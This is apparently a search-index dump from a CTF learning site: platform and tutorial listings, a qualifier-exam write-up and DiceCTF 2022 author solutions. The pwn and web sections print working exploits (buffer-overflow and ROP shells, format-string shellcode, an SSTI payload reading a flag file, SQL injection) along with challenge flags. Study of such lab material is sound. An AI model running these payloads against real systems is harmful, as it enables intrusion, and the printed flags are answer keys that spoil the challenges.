This is a different way to learn about crypto than taking a class or reading a book. We give you problems to solve. They're derived from weaknesses in real-world systems and modern cryptographic constructions. We give you enough info to learn about the underlying crypto concepts yourself. When you're finished, you'll not only have learned a good deal about how cryptosystems are built, but you'll also understand how they're attacked.
"},{"location":"Website/Platform/Cryptopals/#what-are-the-rules","title":"What Are The Rules?","text":"There aren't any! For several years, we ran these challenges over email, and asked participants not to share their results. The honor system worked beautifully! But now we're ready to set aside the ceremony and just publish the challenges for everyone to work on.
"},{"location":"Website/Platform/Cryptopals/#how-much-math-do-i-need-to-know","title":"How Much Math Do I Need To Know?","text":"If you have any trouble with the math in these problems, you should be able to find a local 9th grader to help you out. It turns out that many modern crypto attacks don't involve much hard math.
"},{"location":"Website/Platform/Cryptopals/#how-much-crypto-do-i-need-to-know","title":"How Much Crypto Do I Need To Know?","text":"None. That's the point.
"},{"location":"Website/Platform/Cryptopals/#so-what-do-i-need-to-know","title":"So What Do I Need To Know?","text":"You'll want to be able to code proficiently in any language. We've received submissions in C, C++, Python, Ruby, Perl, Visual Basic, X86 Assembly, Haskell, and Lisp. Surprise us with another language. Our friend Maciej says these challenges are a good way to learn a new language, so maybe now's the time to pick up Clojure or Rust.
"},{"location":"Website/Platform/Cryptopals/#what-should-i-expect","title":"What Should I Expect?","text":"Right now, we have eight sets. They get progressively harder. Again: these are based off real-world vulnerabilities. None of them are \"puzzles\". They're not designed to trip you up. Some of the attacks are clever, though, and if you're not familiar with crypto cleverness... well, you should like solving puzzles. An appreciation for early-90's MTV hip-hop can't hurt either.
"},{"location":"Website/Platform/Cryptopals/#can-you-give-us-a-long-winded-indulgent-description-for-why-youve-chosen-to-do-this","title":"Can You Give Us A Long-Winded Indulgent Description For Why You'Ve Chosen To Do This?","text":"It turns out that we can.
If you're not that familiar with crypto already, or if your familiarity comes mostly from things like Applied Cryptography, this fact may surprise you: most crypto is fatally broken. The systems we're relying on today that aren't known to be fatally broken are in a state of just waiting to be fatally broken. Nobody is sure that TLS 1.2 or SSH 2 or OTR are going to remain safe as designed.
The current state of crypto software security is similar to the state of software security in the 1990s. Specifically: until around 1995, it was not common knowledge that software built by humans might have trouble counting. As a result, nobody could size a buffer properly, and humanity incurred billions of dollars in cleanup after a decade and a half of emergency fixes for memory corruption vulnerabilities.
Counting is not a hard problem. But cryptography is. There are just a few things you can screw up to get the size of a buffer wrong. There are tens, probably hundreds, of obscure little things you can do to take a cryptosystem that should be secure even against an adversary with more CPU cores than there are atoms in the solar system, and make it solveable with a Perl script and 15 seconds. Don't take our word for it: do the challenges and you'll see.
People \"know\" this already, but they don't really know it in their gut, and we think the reason for that is that very few people actually know how to implement the best-known attacks. So, mail us, and we'll give you a tour of them.
"},{"location":"Website/Platform/Cryptopals/#how-do-i-start","title":"How do I start?","text":"Start here!
"},{"location":"Website/Platform/Cryptopals/#who-did-this","title":"Who did this?","text":"Cryptopals is maintained and expanded (from Set 8 on) by Sean Devlin, in conjunction with the Cryptography Services Team at NCC Group.
We could not possibly have done this without the help of several other people. Roughly in order of influence:
Individual exercise submissions are owned by their author, and may or may not be distributed under an open source license.
"},{"location":"Website/Platform/Cryptopals/#links","title":"Links","text":"https://cryptopals.com/
"},{"location":"Website/Platform/TryHackMe/","title":"TryHackMe","text":"Here's another platform for learning and hacking.
The difference between tryhackme and ordinary CTF challenge website is that thm uses rooms
for challenge. Each room contains of several questions and you need to finish them all to solve a room.
The room is also called a target environment in cyber security. In case that vulnerabilities are available in rooms, each room should be created for each user. That's say, you need to create a room and deploy machine before hacking.
All target environments are on the thm's cloud server and you don't need to configure local machine to deploy target environment. However, you need to connect to the thm's local network so that you can hack the target environment.
Two ways for user to connect. The first and free
way is to use OpenVPN and configure your VPN with thm's ovpn file. The second is to use hack box, for community user, free box can only be used 1 hour one day. Otherwise, you need to purchase premium
edition of thm.
Rooms are also can be uploaded by users. This makes it possible for us to create our own target environment.
Besides, thm provides several learning courses for beginners.
For advanced users, there some other useful pages provided by thm.
You can find some useful blog related to the cybersecurity and some other websites such like tutorials, terms, swag shop.
TryHackMe is a great platform for both beginners and advanced hackers.
"},{"location":"Website/Platform/TryHackMe/#reference","title":"Reference","text":"TryHackMe link: https://tryhackme.com/docs
"},{"location":"Website/Platform/World%20of%20Attack%26Defense/","title":"World of Attack&Defense","text":"World of Attack&Defense (Aka \u653b\u9632\u4e16\u754c) is another fully constructed CTF platform of challenges and event schedule.
The challenge environment of WAD constructed from deployed machines that you need to deploy environment before solving the challenge.
That is, in some time, the deployment environment of WAD is failed and users can not finish challenges.
However, the challenge quality is pretty good and writeups submitted by users are also good to read.
"},{"location":"Website/Platform/World%20of%20Attack%26Defense/#reference","title":"Reference","text":"World of Attack & Defense link: https://adworld.xctf.org.cn/
"},{"location":"Website/Platform/ctftime/","title":"ctftime","text":"CTF time is a platform to provide schedule for upcoming and past CTF events. Famous CTF events usually synchronize their schedule to the CTF time, and CTFers all along the world would participate the event.
Some famous CTF team also have their CTF time page to show their gains and record during the events. Along with the events schedule and team page, writeups are also collected by CTF time. Find writeups for the event by clicking corresponding event page and find Event tasks and writeups
page.
Find upcoming CTF events using CTF time.
"},{"location":"Website/Platform/ctftime/#reference","title":"Reference","text":"CTF time link: https://ctftime.org/
"},{"location":"Website/Platform/ichunqiu/","title":"ichunqiu","text":"ichunqiu's platform is a good place to find upcoming events.
This platform is based on the competitions and the solutions to the competitions. It doesn't provide any online challenge environment, but it provides almost all the Chinese CTF events schedule.
"},{"location":"Website/Platform/ichunqiu/#reference","title":"Reference","text":"Link: https://www.ichunqiu.com/competition
"},{"location":"Website/Platform/picoCTF/","title":"picoCTF","text":"picoCTF is a series of CTFs focus on the high school students. Nowadays, picoCTF adds more difficult challenges that face to all gamers besides high school students.
The picoCTF platform provides most of the challenges in picoCTF these years and you can try to solve those challenges online.
The challenges are from very easy to advanced. Some beginner challenges are friendly for CTF beginners and some advanced challenges may take you some time to solve.
The binary challenges are hard for beginners and picoCTF doesn't provide beginner-friendly binary (pwn) challenges. For those who are starting their travel in binary field, maybe other platform is better than picoCTF.
"},{"location":"Website/Platform/picoCTF/#reference","title":"Reference","text":"Link: https://play.picoctf.org/practice
"},{"location":"Website/Platform/pwnabletw/","title":"pwnable.tw","text":"A series of binary exploitation (pwn) problems and you may try to solve them online.
The quantity of challenges isn't much, but the quality is pretty good.
"},{"location":"Website/Platform/pwnabletw/#reference","title":"Reference","text":"Link: https://pwnable.tw/challenge/
"},{"location":"Website/Tutorial/CTF%20Field%20Guide/","title":"CTF Field Guide","text":"In these chapters, you\u2019ll find everything you need to win your next CTF competition:
Consists of several introduction to each categories.
"},{"location":"Website/Tutorial/CTF%20Field%20Guide/#reference","title":"Reference","text":"Link: https://trailofbits.github.io/ctf/
"},{"location":"Website/Tutorial/CTF%20Wiki/","title":"CTF Wiki","text":"As a freedom site, primarily focusing on recent CTFs, CTF Wiki introduces the knowledge and techniques in all aspects of CTF to make it easier for beginners to learn CTF.
Now, CTF Wiki mainly contains the basic skills for CTF, but we are working hard to improve the following contents.
For the above-mentioned parts to be improved, please refer to Projects which details what are planned.
Although now CTF Wiki mainly focus CTF, it is not strictly limited to CTF topics. In the future, CTF Wiki will include
In addition, given the following two points
Therefore, CTF Wiki will never publish books.
Finally, originating from the community, as an independent organization, CTF Wiki advocates freedom of knowledge, will never be commercialized, and will always maintain the character of independence and freedom.
"},{"location":"Website/Tutorial/CTF%20Wiki/#reference","title":"Reference","text":"Link: https://ctf-wiki.org/
"},{"location":"Website/Tutorial/HackTricks/","title":"HackTricks","text":"Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.
HackTricks contains learning methods of CTF and recently news about cybersecurity.
"},{"location":"Website/Tutorial/HackTricks/#reference","title":"Reference","text":"Link: https://book.hacktricks.xyz/
"},{"location":"Website/Tutorial/ctf101/","title":"Capture The Flag 101","text":"Capture The Flags, or CTFs, are a kind of computer security competition.
Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.
CTF 101 is the perfect website for CTF beginners.
"},{"location":"Website/Tutorial/ctf101/#reference","title":"Reference","text":"Link: https://ctf101.org/
"},{"location":"Website/Tutorial/how%20to%20become%20a%20hacker/","title":"How To Become A Hacker","text":"An article of \"how to\" series written by Eric Steven Raymond.
In this article, you can learn how to become a hacker, and what should you learn to contribute to the cybersecurity and hacking field.
Remember the hacker attitudes:
Link: http://www.catb.org/~esr/faqs/hacker-howto.html
"},{"location":"Website/Tutorial/linux/","title":"Linux Tools Quick Tutorial","text":"A website for linux beginners to learn with linux command and tools.
This website is only a brief introduction to the linux. After learning the tutorial of linux, you can use linux just like using any other operating systems.
If you want to find more details of Linux instead of just learning of features and tutorials to usage, you may want to read \u300a\u9e1f\u54e5\u7684Linux\u79c1\u623f\u83dc\u300b. The reference to the blog is attached below this tutorial.
"},{"location":"Website/Tutorial/linux/#reference","title":"Reference","text":"Link: https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html
\u9e1f\u54e5\u7684Linux\u79c1\u623f\u83dc: http://linux.vbird.org/
"},{"location":"Website/Tutorial/python/","title":"Python","text":"Yet an introduction of Python3.
if you want to learn Python2, you can find Python2 version of this doc in Python document.
"},{"location":"Website/Tutorial/python/#reference","title":"Reference","text":"Link: http://www.pythondoc.com/pythontutorial3/index.html
"},{"location":"Writeup/COMPASS%202022%20Summer/","title":"Writeup for 2022 Summer Qualifier Exam","text":"The challenge number is 17 in total (with 1 hidden PWN challenge from the last year). All the challenges are simple and easy, modified from the previous competition challenges I've solved.
Category Quantity Link Crypto 3 Writeups Misc 2 Writeups PWN 4 Writeups Re 3 Writeups Web 4 Writeups"},{"location":"Writeup/COMPASS%202022%20Summer/#crypto","title":"Crypto","text":"All the challenges are from DiceCTF 2022 @Hope. Currently, environment from the original website is down. We would hold those amazing challenges for further studies.
"},{"location":"Writeup/COMPASS%202022%20Summer/#_1","title":"\u8d85\u4e0b\u5934\u7684\u7b7e\u5230","text":"\u4eca\u65e5\u4efd\u6253\u5de5\u4eba\u8425\u4e1a\u5566\ud83d\udc9d \u6beb\u65e0\u62b5\u6297\u529b \u8fd8\u662f\u53bb\u6253CTF\u4e86 \u5565\u4e5f\u4e0d\u662f \u54d2\u54d2\u54d2 \u8fd9\u5bb6\u7684CTF\u8d85\u8d5e\u7684\u2753\u2753\u2753\u4ecb\u4e2a\u5c0f\u86cb\u7cd5\u4e5f\u771f\u4e0b\u5934\u2049\ufe0f\u2049\ufe0f\u2049\ufe0fsrds \u8def\u8fb9\u6361\u5230\u4e86\u4e00\u5206\u94b1 \u9884\u8b66\u26a0\ufe0f \u5566\u5566\u5566 \u661f\u661f\u6708\u4eae\u548c\u6211\u90fd\u8981\u7761\u5566\ud83c\udf38\n\n\u8c1c\u8bed\u4eba\u7684\u6697\u8bed: 575d55524a5c50586b46595d6e5a555b6e5f505f6b4c44555f6e575d446b55546b5f58556e43555b6e56506e5e5c506b43545a6a5c515f4c\n\u636e\u8bf4\u662f\u5bc6\u94a5: 114514\n
The description isn't related to the challenge. The key point is the last half of the description. A string of hex, and some strange digits.
It's easy to think about the xor
encryption. Very simple, use the 114514
(in escaped string) as a key, decode the given cipher:
flag{hai_shi_kan_kan_yuan_chu_de_jia_ran_ba_jia_ren_men}\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#rsa","title":"\u8d85\u8ff7\u4f60\u7684RSA","text":"c=32949\nn=64741\ne=42667\n
Very simple RSA with small N. Factor N into 101 and 641.
>>> from Crypto.Util.number import *\n>>> p = 101\n>>> q = 641\n>>> c = 32949\n>>> e = 42667\n>>> phi = (p-1)*(q-1)\n>>> d = inverse(e,phi)\n>>> pow(c,d,p*q)\n18429\n
Use the password to open the compress file, find the flag.
flag{gr34t_m1nds_th1nk_4l1ke}\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#aes","title":"\u8d85\u4fdd\u5bc6\u7684AES\u7b97\u6cd5","text":"ECB mode AES encryption. The server gives out the hex ciphertext of flag once, then asks us to input a hex string, then prints the cipher text of the string.
This is a CPA scenario. ECB mode can't defense from CPA. We use 0x00 string to reveal the key:
> b0bcf580640b080efd0a25dd77b1e152b2e8b9d3285a531bff0b718c6fabe053e4b6a6832e505301ac4416ec449a8267\n< 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n> d6d094e71f686a369e3910ea429c8461c6c084f70f787a268e2900fa528c9471\n
We now know the key, use this key to decrypt flag:
flag{cb8c3575-e3d8-4729-a2af-7d22f2d18972}\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#misc","title":"Misc","text":"All the challenges are modified from ctf.show \u4e03\u5915\u676f.
"},{"location":"Writeup/COMPASS%202022%20Summer/#_2","title":"\u7b7e\u5230","text":"Gives a graph, the content doesn't matter. Use any hex editor or simply type strings
command, and we can find the flag in the tail of the file.
The origin challenge is called \u6d77\u76d7\u7684\u5bc6\u7801
. The ip region changed to Vatican in this challenge. Thus, we need to brute force all the IPs from Vatican.
185.17.220.0 185.17.223.255 1024\n185.152.68.0 185.152.71.255 1024\n193.43.102.0 193.43.103.255 512\n212.77.0.0 212.77.31.255 8192\n
The password is 212.77.31.255
. Open the compressed file to get the flag,
All the challenges are from XCTF's recent competitions.
"},{"location":"Writeup/COMPASS%202022%20Summer/#_4","title":"\u7b7e\u5230","text":"Check the file properties first:
$ file 291721f42a044f50a2aead748d539df0\n291721f42a044f50a2aead748d539df0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped\n
The main logic is simple, main prints hello, world
, then calls vulnerable_function
.
This function reads 0x200 bytes of data, and put them into 0x80 length buffer, which leads to a buffer overflow. Another useful function is callsystem
, which gives us a shell.
The steps to solve:
callsystem
.from pwn import * \nr = process(\"./app\")\npayload = 'A' * 0x88 + p64(0x00400596)\nr.sendlineafter(\"Hello, World\\n\", payload)\nr.interactive()\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_5","title":"\u5148\u522b\u6025","text":"A little simple ROP challenge.
In this challenge, we don't have callsystem
function any more. Instead, we need to find a /bin/sh
string in the program.
Luckily, this challenge has PIE disabled
. We can write libc address directly.
system
function address./bin/sh
string as parameter, and 0
as the second parameter.from pwn import *\nsystem=0x08048320\nshell=0x0804A024\nr=process(\"./app\")\npayload='A'*(0x92)+p32(system)+p32(0)+p32(shell)\nr.sendlineafter(\"Input:\\n\", payload)\nr.interactive()\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_6","title":"\u4f60\u731c\u6211\u731c\u4e0d\u731c","text":"This challenge has Canary, NX, and PIE. We can't simple use ROP method because of the canary. However, the seed is on the stack as well. We can't reach the return address, but we can reach the seed integer.
Use the same seed, we can \"predict\" all the random numbers.
from pwn import *\nfrom ctypes import *\n\nlibc=cdll.LoadLibrary(\"/lib/x86_64-linux-gnu/libc.so.6\")\nlibc.srand(0)\n\nr=process(\"./app\")\npayload='A'*(0x20)+p32(0)\nr.sendlineafter(\"Your name:\", payload)\n\nfor i in range(10):\n num=str(libc.rand()%6+1)\n r.sendlineafter(\"Please input your guess number:\", num)\nr.interactive()\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_7","title":"\u8fc7\u5173\u65a9\u5c06","text":"The first level: input \"east\" and win.
The second level: use the format string in printf(&format, &format)
, we can reveal the address.
The last challenge gives us the control to input some codes, gives a shellcode.
from pwn import *\n\nshell=asm(shellcraft.amd64.linux.sh(),arch=\"amd64\")\nr=process(\"./app\")\npayload=\"%9x,%9x,%9x,%9x,%9x,%35x%n\"\nr.recvuntil(\"secret[0] is \")\naddr=str(int(r.recvuntil(\"\\n\")[:-1],16))\nr.sendlineafter(\"What should your character's name be:\",\"ailx10\")\nr.sendlineafter(\"So, where you will go?east or up?:\",\"east\")\nr.sendlineafter(\"go into there(1), or leave(0)?:\",\"1\")\nr.sendlineafter(\"'Give me an address'\",addr)\nr.sendlineafter(\"And, you wish is:\",payload)\nr.sendlineafter(\"Wizard: I will help you! USE YOU SPELL\",shell)\n\nr.interactive()\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#re","title":"Re","text":"All the challenges are modified from various provinces' CTF competitions: \u897f\u666e\u676f\u4eac\u6d25\u5180\u4fe1\u606f\u5b89\u5168\u6311\u6218\u8d5b, \u7b2c\u4e94\u5c4a\u5c71\u4e1c\u7701\u7f51\u7edc\u5b89\u5168\u7ade\u8d5b, \u7f51\u9f0e\u676f\u6731\u96c0\u7ec4.
"},{"location":"Writeup/COMPASS%202022%20Summer/#_8","title":"\u771f\u7684\u662f\u7b7e\u5230","text":"Check the ELF, IDA would gives several integers in main
function. Be aware of the data types are meaningless in assembly, those integers
are in fact strings
.
Mark the data as string, and we get the flag.
flag{4092849uio2jfklsj4k}\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_9","title":"\u7edd\u5bf9\u5728\u7b2c\u4e94\u5c42","text":"The program is written in MFC.
Use dynamic analysis, on the address 0x401743
we can find a comparison. The compared string is the key to show the flag.
008225C8 s1 = \"123456\"\n00822668 s2 = \"xxxxxXXXXXxxxx\"\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_10","title":"\u79cd\u6811","text":"In the main logic, the flag's bits are calculated from the path in a binary tree. We need to find the flag bits from the path in binary tree to the target string zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx
(modified in this challenge).
How to find the structure of the tree? We can use dynamic analysis, extract memory data from the execution.
[[\u2018y\u2019, \u20180000\u2019], [\u2018b\u2019, \u201800010\u2019], [\u2018q\u2019, \u201800011\u2019], [\u2018g\u2019, \u20180010\u2019], [\u2018f\u2019, \u20180011\u2019], [\u2018j\u2019, \u2018010\u2019], [\u2018w\u2019, \u201801100\u2019], [\u2018p\u2019, \u201801101\u2019], [\u2018x\u2019, \u2018011100\u2019], [\u2018d\u2019, \u20180111010\u2019], [\u2018i\u2019, \u20180111011\u2019], [\u2018k\u2019, \u201801111\u2019], [\u2018s\u2019, \u2018100\u2019], [\u2018z\u2019, \u20181010\u2019], [\u2018n\u2019, \u20181011\u2019], [\u2018c\u2019, \u201811000\u2019], [\u2018t\u2019, \u2018110010\u2019], [\u2018e\u2019, \u2018110011\u2019], [\u2018h\u2019, \u20181101\u2019], [\u2018o\u2019, \u201811100\u2019], [\u2018l\u2019, \u20181110100\u2019], [\u2018u\u2019, \u201811101010\u2019], [\u2018r\u2019, \u2018111010110\u2019], [\u2018a\u2019, \u2018111010111\u2019], [\u2018m\u2019, \u2018111011\u2019], [\u2018v\u2019, \u20181111\u2019]]\n
Find the path is simple, I won't describe here.
"},{"location":"Writeup/COMPASS%202022%20Summer/#web","title":"Web","text":"Challenges are from DiceCTF 2022 @Hope, nice competition!
"},{"location":"Writeup/COMPASS%202022%20Summer/#_11","title":"\u7b80\u5355\u7684\u7b7e\u5230","text":"Change the value of admin
to true
in cookie.
Simply use SSTI reversed version.
}})')(daer.)\"txt.galf/ppa/ tac\"(nepop.)\"so\"(__tropmi__'(]'lave'[]'__snitliub__'[__slabolg__.__tini__.]331[)(__sessalcbus__.]0[__sesab__.__ssalc__.''{{\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_13","title":"\u7b80\u5355\u7684\u6ce8\u5165","text":"In the palindrome submit, we can start SQL injection attack.
The input should be a palindrome string.
'||(select flag from flags));--;))sgalfmorfgalftceles(||'\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#_14","title":"\u7b80\u5355\u7684\u5e8f\u5217","text":"A simple GoLang unmarshal challenge. The GoLang's unmarshal doesn't care about the case of json, we can use upper case to bypass the filter.
{\n \"whaT_point\":\"that_point\"\n}\n
"},{"location":"Writeup/COMPASS%202022%20Summer/#remarks","title":"Remarks","text":"Hope you enjoy this competition, and take this practice as a learning progress.
"},{"location":"Writeup/DiceCTF%202022/","title":"DiceCTF 2022 Author Writeups","text":"by ireland / DiceGang
"},{"location":"Writeup/DiceCTF%202022/#crypto","title":"Crypto","text":"Challenge name Author Writeup crypto/baby-rsa ireland jump crypto/rejected ireland jump crypto/correlated ireland jump crypto/commitment-issues gripingberry jump crypto/pow-pow defund link crypto/learning without errors ireland jump crypto/shibari ireland jump crypto/psych defund link"},{"location":"Writeup/DiceCTF%202022/#misc","title":"Misc","text":"Challenge name Author Writeup misc/undefined aplet123 jump misc/sober-bishop clubby789 jump misc/Vinegar kmh TODO misc/TI-1337 Silver Edition kmh TODO misc/Cache On The Side wiresboy TODO misc/5D File System with Multiverse Time Travel poortho TODO"},{"location":"Writeup/DiceCTF%202022/#pwn","title":"Pwn","text":"Challenge name Author Writeup pwn/interview-opportunity smoothhacker jump pwn/baby-rop ireland jump pwn/data-eater KyleForkBomb jump pwn/chutes-and-ladders bosh TODO pwn/containment hgarrereyn TODO pwn/memory hole chop0 TODO pwn/nightmare pepsipu jump pwn/road-to-failure NotDeGhost jump"},{"location":"Writeup/DiceCTF%202022/#rev","title":"Rev","text":"Challenge name Author Writeup rev/flagle infuzion TODO rev/hyperlink BrownieInMotion TODO rev/taxes hgarrereyn TODO rev/dicecraft hgarrereyn TODO rev/cable management evilmuffinha TODO rev/typed aplet123 jump rev/breach hgarrereyn TODO rev/universal ireland jump]"},{"location":"Writeup/DiceCTF%202022/#web","title":"Web","text":"Challenge name Author Writeup web/knock-knock BrownieInMotion jump web/blazingfast larry link web/no-cookies BrownieInMotion TODO web/flare larry TODO web/vm-calc Strellic link web/noteKeeper Strellic link web/dicevault arxenix jump web/denoblog Strellic link web/carrot larry TODO web/shadow arxenix jump"},{"location":"Writeup/DiceCTF%202022/#writeups","title":"Writeups","text":""},{"location":"Writeup/DiceCTF%202022/#cryptobaby-rsa","title":"crypto/baby-rsa","text":"256-bit RSA where $e^2 | p-1, q-1$. Intended solution = factor $N$ with cado-nfs, then use sage's nth_root()
function to get all candidate decryptions. Finally, combine using Chinese Remainder Theorem.
The nth_root()
algorithm is described in this paper. It's simple for $e | p-1$, but for higher-powers of $e$ involves solving a (small) discrete logarithm problem. Fortunately, sage has it implemented as a built-in.
Many resources online describe how to proceed if e | p-1
, but they don't describe the general case for higher powers of e
.
from Crypto.Util.number import long_to_bytes\n\nN = 57996511214023134147551927572747727074259762800050285360155793732008227782157\ne = 17\ncipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971\n# factor with cado-nfs\np, q = 172036442175296373253148927105725488217, 337117592532677714973555912658569668821\n\nassert p * q == N\n\np_roots = mod(cipher, p).nth_root(e, all=True)\nq_roots = mod(cipher, q).nth_root(e, all=True)\n\nfor xp in p_roots:\n for xq in q_roots:\n x = crt([Integer(xp), Integer(xq)], [p,q])\n x = int(x)\n flag = long_to_bytes(x)\n if flag.startswith(b\"dice\"):\n print(flag.decode())\n
"},{"location":"Writeup/DiceCTF%202022/#cryptorejected","title":"crypto/rejected","text":"Whenever the RNG has to reroll, then it means that the highest bit of the output is 1
. This lets you launch a known-plaintext attack on the underlying LFSR. Solve the resulting linear system (over GF(2)
) and find the flag.
You don't really get much information if the RNG doesn't reroll. A good choice of modulus is (2^32 // 3) + 1
or (2^32 // 4) + 1
, as this will increase the chances of the RNG rerolling.
A correlation attack on a LFSR, this challenge artificially demonstrates how you can attack a filtered LFSR.
If you have 48 (= length of seed) clean bits, then you can invert the LFSR stream and find the seed. As each bit in the output stream is correct with 80% probability, you should expect to try 1 / 0.8^48 = 45,000
different subsets of the output stream before it works. As you are given 20,000 output bits, this is no problem at all.
Unmodified information set decoding also works, mainly because the dimension of the LFSR is so small.
You can also solve this with a customized fast correlation attack if you find sparse linear relations for the LFSR. As the state space is 2^48, you can use a birthday attack/meet-in-the-middle to find random linear relations each of length 3 which collide. That will give you a length 6 linear relation for the LFSR. This is much more complicated than the other solutions.
"},{"location":"Writeup/DiceCTF%202022/#cryptocommitment-issues","title":"crypto/commitment-issues","text":"We are given the result of a commitment of a signature of the flag. In particular, we have a large semiprime $N = pq$, a public exponenent $e$ with inverse $d$, and if m = bytes_to_long(flag)
, then $s = m^d \\pmod{N}$ is the signature. A random value $r$ is then generated and we're given $c_1 = s + r \\pmod{N}$ and $c_2 = r^5 \\pmod{N}$.
There's multiple ways to ultimately do the same computations that lead to the flag. I'll describe a solution that's due to Utaha from Balsn.
Notice that the polynomial $p(t) = (c_1 - t)^5 - c_2 \\in \\mathbb{Z}N[t]$ vanishes at $t = s$. We then consider the quotient ring $\\mathbb{Z}_N[t]/(p)$. Since the lead coefficient of $p$ is a unit, this is a free $\\mathbb{Z}_N$-module of rank $\\deg p = 5$ with basis ${1, t, ..., t^4}$. In particular any $6$ elements in $\\mathbb{Z}_N[t]/(p)$ will satisfy a non-trivial $\\mathbb{Z}_N$-linear dependence. Using sage to efficiently write $$(t^e)^i = a{i0} + a_{i1}t + \\dots + a_{i4}t^4 \\in \\mathbb{Z}N[t]/(p)$$ for $i = 0, ..., 5$ we can use the matrix $A = (a{ij})_{ij}$ to compute a non-trivial linear dependence $$\\beta_0 + \\beta_1 \\cdot t^e + \\dots + \\beta_5 \\cdot (t^e)^5 = 0 \\in \\mathbb{Z}_N[t]/(p).$$ However since $p(s) = 0 \\pmod{N}$, the evaluation at $s$ map $$\\begin{aligned} E_s :\\;& \\mathbb{Z}_N[t] \\to \\mathbb{Z}_N \\ & \\;\\;\\;\\; q \\longmapsto q(s) \\end{aligned}$$ descends to a valid map $\\mathbb{Z}_N[t]/(p)\\to \\mathbb{Z}_N$ and we find that in fact, $$\\beta_0 + \\beta_1 \\cdot s^e + \\dots + \\beta_5 \\cdot (s^e)^5 = 0 \\pmod{N}.$$ But $s^e = m$ is just the flag, and we can now apply Coppersmith to recover $m$.
"},{"location":"Writeup/DiceCTF%202022/#cryptolearning-without-errors","title":"crypto/learning-without-errors","text":"This challenge is based on a passive attack which broke the CKKS cryptosystem last year. The gist of it is that CKKS Ring Learning With Errors cryptosystem encrypts the message as a pair (c_0, c_1) = (a, a * s + m + e)
where s
is the secret, m
is the message, a
is a random ring element, and e
is a \"small\" secret error. If e
and s
are unknown, then recovering m
from this requires solving a hard lattice problem. However, when decrypting, CKKS returns m + e
, which just ... tells you ... what the secret error is.
Basic algebra then gives s = (c_1 - (m + e)) * c_0^{-1}
. Therefore, seeing a pair of encrypted and decrypted values is enough for a passive adversary to completely recover the secret key!
However, this does seemingly require c_0
to be invertible in the ring, which for our parameters is Zmod(2^100)[x] / [x^1024]
. The power-of-two modulus does (or so I thought) raise an issue.
q = 1 << 100\nN = 10\nRbase.<x> = PolynomialRing(Zmod(q))\nR.<x> = Rbase.quotient(x^N + 1)\n
Based on my testing, I had assumed that with overwhelming probability, c_0
would not have an inverse in the ring. This would force competitors to find another way to compute the required division. This appears to be supported by the linked paper (on page 18):
A little difficulty arises due to the choice of q. The first implementation of CKKS, the HEAAN library sets q to a power of 2 to simplify the treatment of floating point numbers. Subsequent instantiations of CKKS use a prime (or square-free) q of the form h \u00b7 2^n + 1 together with the Number Theoretic Transform for very fast ring operations. For a (sufficiently large) prime q, the probability of a random element a being invertible is very close to 1, but this is not the case when q is a power of two. If a is not invertible, we can still recover partial information about the secret key s, and completely recover s by using multiple ciphertexts.
My solution computes the inverse of c_0
in the p-adic extension to R with 20480 digits of precision. (Such extremely high precision is needed because the quotient polynomial I = x^1024 + 1
has I.discriminant() = 2^10240
).
However, some teams just... got lucky... and had a c_0
which was invertible. I'm not sure what the chances of this happening were -- clearly my initial tests led me to the wrong conclusion.
The challenge still had a low number of solves, probably because RLWE is not common in CTFs.
"},{"location":"Writeup/DiceCTF%202022/#cryptoshibari","title":"crypto/shibari","text":"This challenge implements a very weird compiler using a representation of the Braid Group.
Braid Groups have previously been used in cryptography to implement a non-commutative variant of Diffie-Hellman. This was also the concept behind the proposed post-quantum (but actually completely insecure) scheme WalnutDSA.
The cryptographically-interesting property of Braid Groups is that they have a computationally efficient normal form. That is, while there are (infinitely) many ways to write an element of the braid group in terms of the generators, you can convert all representations into the same canonical form.
This has been proposed as a way to hide the individual factors of a product of group elements a * b * c
.
This challenge used the fact that the group-action of the braid group with $n$ strands on $AlternatingGroup(5)^{(2 n)}$ induced by the Yang-Baxter equation is sufficiently expressive that it is Turing complete. Specifically, you can evaluate CCNOT
gates, which are computationally universal. The bulk of the source code provided for this challenge consists of a circuit-to-braid compiler and a braid-circuit evaluator.
Additionally, I provided python bindings for a very fast braid group library, which can compute the canonical forms for the braids. I also presented a C++ version of the braid-circuit evaluator, which takes around 0.1 seconds to evaluate each sub-circuit.
With all this done, we can finally discuss the challenge.
The intended solution is 2 parts: 1) the braid is already in normal form, so you can import it into LNF faster than computing LNF on it. 2) apply a length-based attack because the entire circuit is reversible.
if you guess that the first few gates are performing the subcircuit A := NOT bit 0; CCNOT(0,1,2)
then the length of the circuit A^-1 * Circuit
should be \"shorter\" than the length of Circuit
, where length is the length of the LNF canonical form
Whereas if you guess wrong and try the circuit B := NOT bit 0; NOT bit 1; CCNOT(0,1,2)
, then the length of the circuit B^-1 * Circuit
should be longer than the length of Circuit
. So you can bruteforce the flag 2-bits at a time
the step 1) of importing into LNF is needed because computing the LNF is so slow for the obfuscated braids (it's pretty quick for the unobfuscated braids). And the provided python bindings support quickly computing the LNF of LNF(a) * LNF(b)
In hindsight, I should have released the LNF form of the braids so that players didn't have to import it.
The only solution during the competition to this challenge used GPU brute force to find the flag \\shrug. I estimate that this took the equivalent of 10-years of cpu time. This was completely unintended.
